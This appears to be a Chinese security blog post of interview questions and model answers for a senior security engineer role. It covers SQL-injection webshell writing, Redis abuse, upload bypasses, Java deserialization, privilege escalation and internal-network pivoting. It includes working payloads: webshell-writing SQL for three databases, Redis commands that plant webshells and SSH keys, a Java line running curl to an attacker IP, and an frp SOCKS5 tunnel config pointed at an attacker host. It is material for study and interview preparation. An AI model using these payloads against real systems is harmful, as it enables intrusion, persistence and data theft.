安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。、
目录
[1. 自我介绍](#1. 自我介绍)
[2. SQL注入写Shell(分数据库)](#2. SQL注入写Shell(分数据库))
[3. 登录框攻击面](#3. 登录框攻击面)
[4. GetShell的姿势](#4. GetShell的姿势)
[5. 文件上传黑名单绕过](#5. 文件上传黑名单绕过)
[6. SQL注入后利用](#6. SQL注入后利用)
[7. 有趣漏洞案例](#7. 有趣漏洞案例)
[8. 蓝凌OA漏洞(示例)](#8. 蓝凌OA漏洞(示例))
[9. DNS重绑定利用](#9. DNS重绑定利用)
[10. PHP vs Java文件包含](#10. PHP vs Java文件包含)
[11. Redis利用](#11. Redis利用)
[1. 常见漏洞函数对照表](#1. 常见漏洞函数对照表)
[2. PHP安全特性](#2. PHP安全特性)
[3. 代码审计(MVC/非MVC)](#3. 代码审计(MVC/非MVC))
[1. 执行命令方式](#1. 执行命令方式)
[2. 反序列化原理](#2. 反序列化原理)
[3. YSO链示例(CommonsCollections)](#3. YSO链示例(CommonsCollections))
[4. Shiro反序列化漏洞](#4. Shiro反序列化漏洞)
[5. 反射/代理/类加载](#5. 反射/代理/类加载)
[6. 代码审计要点](#6. 代码审计要点)
[1. 非脚本工具开发](#1. 非脚本工具开发)
[2. Web框架安全](#2. Web框架安全)
[3. 代码审计重点](#3. 代码审计重点)
[1. 漏洞利用研究理解](#1. 漏洞利用研究理解)
[2. 漏洞利用案例(Fastjson)](#2. 漏洞利用案例(Fastjson))
[1. Disable Function绕过](#1. Disable Function绕过)
[2. Webshell提权](#2. Webshell提权)
[3. 内网渗透思路](#3. 内网渗透思路)
[4. 无扫描横向技巧](#4. 无扫描横向技巧)
[5. 绕过杀软限制](#5. 绕过杀软限制)
[6. 常用提权姿势](#6. 常用提权姿势)
[7. 内网代理(Frp)](#7. 内网代理(Frp))
匿名[校招]高级安全工程师(代码审计安全评估)
#### **渗透基础** 1. 自我介绍 2. SQL注入 写 Shell - mysql & mssql & oracle 3. 登录框攻击面 4. getshell的姿势 5. 文件上传点,黑名单限制,如何利用 6. SQL注入后利用 7. 讲一个你觉得有趣的漏洞案例 8. 前段时间蓝凌OA的洞 9. DNS 重绑定,利用 10. Php和Java的文件包含区别 11. Redis的利用 #### PHP 1. 常见漏洞对应函数(挨个问) - 命令执行 - 代码执行 - 文件包含 - 文件上传 - 文件删除 - SSRF - ... 2. PHP安全特性有关注吗 3. 代码审计(mvc/非mvc) #### **Java** 1. Java执行命令的几种方式 2. Java反序列化的原理 3. 讲讲yso的链 4. Shiro 反序列化原理 5. 反射,代理,类加载这些熟悉吗 6. 代码审计 #### Python 1. 是否写过非脚本的工具 2. Web框架(flask/django) 3. 代码审计 #### **漏洞挖掘(重点关注)** 1. 简历上的通用洞挨个问 2. 漏洞利用研究的理解 3. 漏洞利用研究的案例 #### **内网(偏实战问题)** 1. disable function bypass 2. webshell 提权(低权限 -> 高权限) 3. 已经拿到webshell,说说你的内网思路 4. 不允许扫描,如何横向 5. 存在杀软,不允许exe落地,怎么办 6. 常用的提权姿势 7. 内网代理,详细问了frp
渗透基础
1. 自我介绍
- 核心逻辑 :技术背景(渗透测试/红队经验)+ 实战成果 + 研究方向
"专注于渗透测试5年,擅长Web漏洞挖掘与内网渗透,曾发现某金融系统SQL注入链式利用漏洞(从注入到GetShell),主导过多个企业级红队项目。研究方向包括云环境渗透、Java反序列化漏洞自动化检测,熟悉ATT&CK框架实战化落地。"2. SQL注入写Shell(分数据库)
数据库 方法 适用条件 MySQL SELECT '<?php eval($_POST[x]);?>' INTO OUTFILE '/var/www/html/shell.php'
需 FILE
权限,路径可写且已知MSSQL 启用xp_cmdshell: EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC xp_cmdshell 'echo ^<%eval request("x")%^> > C:\shell.asp'
需 sysadmin
权限,禁用防护组件Oracle 使用 UTL_FILE
包写文件:DECLARE fh UTL_FILE.FILE_TYPE; BEGIN fh := UTL_FILE.FOPEN('WEB_DIR','test.jsp','W'); UTL_FILE.PUT_LINE(fh,'<%execute request("x")%>'); END;
需 UTL_FILE
权限,已知可写目录3. 登录框攻击面
- 爆破攻击:弱密码(admin/admin123)、密码喷洒(单密码多用户)。
- 逻辑漏洞:验证码绕过(前端校验)、密码重置Token劫持(参数篡改)。
- SQL注入 :万能密码(
' or 1=1--
)、盲注获取用户凭证。- 2FA绕过 :响应包修改
"2fa_enabled":false
。- OAuth/SSO劫持:回调URL参数污染劫持授权码。
4. GetShell的姿势
- 文件上传漏洞:绕过黑名单上传WebShell。
- RCE漏洞:Struts2/Log4j2等框架远程代码执行。
- 反序列化漏洞:Java/PHP反序列化链构造。
- SSRF转内网:攻击Redis/内网Jenkins写Shell。
- 数据库写文件:结合SQL注入写Web目录。
5. 文件上传黑名单绕过
- 扩展名绕过 :
.pHp
(大小写)、.php5
(非标准后缀)。- 双写绕过 :
shell.pPHPphp
(过滤替换后变为.php
)。- 特殊字符截断 :
shell.php%00.jpg
(旧版PHP版本)。- Content-Type修改 :
image/png
伪装图片类型。- .htaccess覆盖 :上传
.htaccess
文件定义可执行后缀。6. SQL注入后利用
- 数据窃取:拖库(用户表、密钥表)。
- 权限提升:读取数据库配置文件(获取高权限账号)。
- 命令执行:MySQL UDF提权/MSSQL xp_cmdshell。
- 横向移动:通过数据库连接内网其他服务(如Redis)。
7. 有趣漏洞案例
- 案例 :某OA系统XML解析漏洞导致RCE。
- 漏洞链 :文件上传点限制后缀为
.xml
→ 上传恶意XML触发XXE → 读取服务器文件 → 利用XSLT引擎执行Java代码。- 利用效果 :通过XSLT的
document()
函数加载远程Java类,实现无文件WebShell。8. 蓝凌OA漏洞(示例)
- 漏洞类型:未授权访问 + 反序列化(2023年历史漏洞)。
- 利用链 :无需登录访问
/sys/zone/LoginSSO.jsp
→ 反序列化参数触发BeanShell
执行命令。- 修复方案:升级至最新版本,限制反序列化类白名单。
9. DNS重绑定利用
- 原理 :利用DNS TTL过期机制,将域名解析从外网IP切换到内网IP(如
127.0.0.1
)。- 攻击场景:绕过浏览器同源策略,访问内网服务(如SSRF攻击本地Redis)。
- 工具 :使用
rbndr
服务生成动态域名。10. PHP vs Java文件包含
维度 PHP Java 函数 include
/require
(动态加载)ClassLoader
(静态加载)协议支持 支持 php://filter
、data://
等伪协议依赖类路径(ClassPath)或自定义协议处理 漏洞触发点 包含用户可控参数(如 ?file=config.ini
)动态加载远程类(如URLClassLoader) 11. Redis利用
- 未授权访问 :直接连接
redis-cli -h 目标IP
。- 写WebShell :
config set dir /var/www/html
→set x "<?php phpinfo();?>"
→save
。- SSH密钥写入 :
set x "\n\nssh-rsa AAA...\n\n"
→config set dir /root/.ssh
→config set dbfilename authorized_keys
→save
。- 主从复制RCE:伪造恶意Redis主节点,同步模块触发命令执行。
PHP
1. 常见漏洞函数对照表
漏洞类型 危险函数 命令执行 system()
,exec()
,passthru()
,shell_exec()
代码执行 eval()
,assert()
,preg_replace(/e修饰符)
文件包含 include
,require
,include_once
(结合伪协议)文件上传 move_uploaded_file()
(未校验后缀/内容)文件删除 unlink()
(未校验权限)SSRF file_get_contents()
,curl_exec()
(未限制URL协议)2. PHP安全特性
- 魔术引号(已废弃) :自动转义输入(
magic_quotes_gpc
),可通过stripslashes()
绕过。- 禁用函数列表 :
disable_functions
需绕过(如LD_PRELOAD加载恶意so)。- open_basedir限制 :通过
chdir()
与ini_set()
组合绕过。3. 代码审计(MVC/非MVC)
- 非MVC审计 :直接追踪用户输入到危险函数(如
$_GET['id']
传入eval()
)。- MVC框架审计 :
- 路由解析 :检查路由参数过滤(如
/index.php/user/view/id/123
中的id
注入)。- 过滤器链 :验证全局过滤是否遗漏(如未过滤
$_FILES['file']['name']
)。- ORM层 :SQL注入检测是否使用预编译(如直接拼接
where
条件)。
Java
1. 执行命令方式
- Runtime.exec :
Runtime.getRuntime().exec("cmd /c whoami")
。- ProcessBuilder :
new ProcessBuilder("bash", "-c", "curl http://攻击者IP").start()
。- GroovyShell :
new GroovyShell().evaluate("'calc'.execute()")
(依赖Groovy库)。2. 反序列化原理
- 触发点 :调用
ObjectInputStream.readObject()
反序列化不可信数据。- Gadget链 :通过嵌套调用链执行恶意操作(如
AnnotationInvocationHandler
→TransformedMap
→InvokerTransformer
)。3. YSO链示例(CommonsCollections)
- Transformer链构造 :
ChainedTransformer
串联多个Transformer。- Map触发点 :
LazyMap.get()
触发Transformer.transform()
。- 入口类 :
AnnotationInvocationHandler
反序列化时触发Map
操作。4. Shiro反序列化漏洞
- 漏洞根源:Shiro RememberMe功能的AES密钥硬编码。
- 利用步骤 :
- 使用已知密钥加密恶意序列化数据。
- 发送Cookie
rememberMe=加密数据
触发反序列化。5. 反射/代理/类加载
- 反射 :
Class.forName(" 恶意类").newInstance()
绕过访问限制。- 动态代理 :
Proxy.newProxyInstance()
拦截方法调用(如触发RCE)。- 类加载 :
URLClassLoader
加载远程Jar执行代码。6. 代码审计要点
- 反序列化入口 :搜索
readObject()
/readResolve()
方法。- 危险组件版本:Fastjson/Jackson/XStream等历史漏洞版本。
- SPEL表达式 :检查
@Value
注解或StandardEvaluationContext
使用。
Python
1. 非脚本工具开发
- 例子:基于Flask的漏洞扫描平台,集成SQL注入、目录爆破模块。
- 技术栈:异步协程(asyncio)提升扫描效率,Jinja2模板渲染结果。
2. Web框架安全
- Flask SSTI :
{``{ config.items() }}
泄露敏感配置(需开启debug模式)。- Django ORM :正确使用参数化查询(
filter(user=request.GET.get('user'))
防注入)。3. 代码审计重点
- 危险函数 :
eval()
,pickle.loads()
,subprocess.run()
。- 模板注入 :检查
render_template_string(request.args.get('tmpl'))
。
漏洞挖掘
1. 漏洞利用研究理解
- 流程:漏洞发现 → PoC编写 → 武器化(结合C2工具) → 防御绕过(如混淆流量)。
- 核心价值:将理论漏洞转化为实际攻击链(如Log4j2的JNDI注入利用)。
2. 漏洞利用案例(Fastjson)
- 漏洞点 :
@type
属性自动加载类(如com.sun.rowset.JdbcRowSetImpl
)。- 利用链:JNDI注入指向恶意LDAP服务,加载远程类执行命令。
内网渗透
1. Disable Function绕过
- LD_PRELOAD :编译恶意so文件,通过
putenv()
设置劫持函数调用。- PHP扩展 :自定义扩展覆盖
disable_functions
限制。2. Webshell提权
- 内核漏洞:检测系统版本,使用CVE-2021-4034(Polkit提权)。
- 服务配置 :查找SUID文件(
find / -perm -u=s -type f 2>/dev/null
)。3. 内网渗透思路
- 信息收集 :获取网卡信息(
ipconfig
)、ARP表、本地凭证。- 横向移动:Pass-the-Hash攻击域控、PsExec执行远程命令。
- 权限维持:Golden Ticket注入、计划任务部署后门。
4. 无扫描横向技巧
- 协议利用 :利用SMB匿名访问(
smbclient -L //目标IP
)或RDP弱密码爆破。- 服务漏洞:攻击已知漏洞服务(如永恒之蓝利用MS17-010)。
5. 绕过杀软限制
- 无文件攻击:PowerShell内存加载恶意代码(如Meterpreter)。
- 合法工具滥用:使用certutil下载文件、msiexec执行远程安装包。
6. 常用提权姿势
- 本地漏洞:Windows内核漏洞(如PrintNightmare)。
- 服务权限:MySQL以SYSTEM运行(UDF提权)。
- 令牌窃取:利用Incognito模仿高权限用户令牌。
7. 内网代理(Frp)
配置示例 :
ini`# frpc.ini [common] server_addr = 攻击者IP server_port = 7000 [socks5] type = tcp remote_port = 1080 plugin = socks5 `
使用 :通过
socks5://攻击者IP:1080
代理内网流量。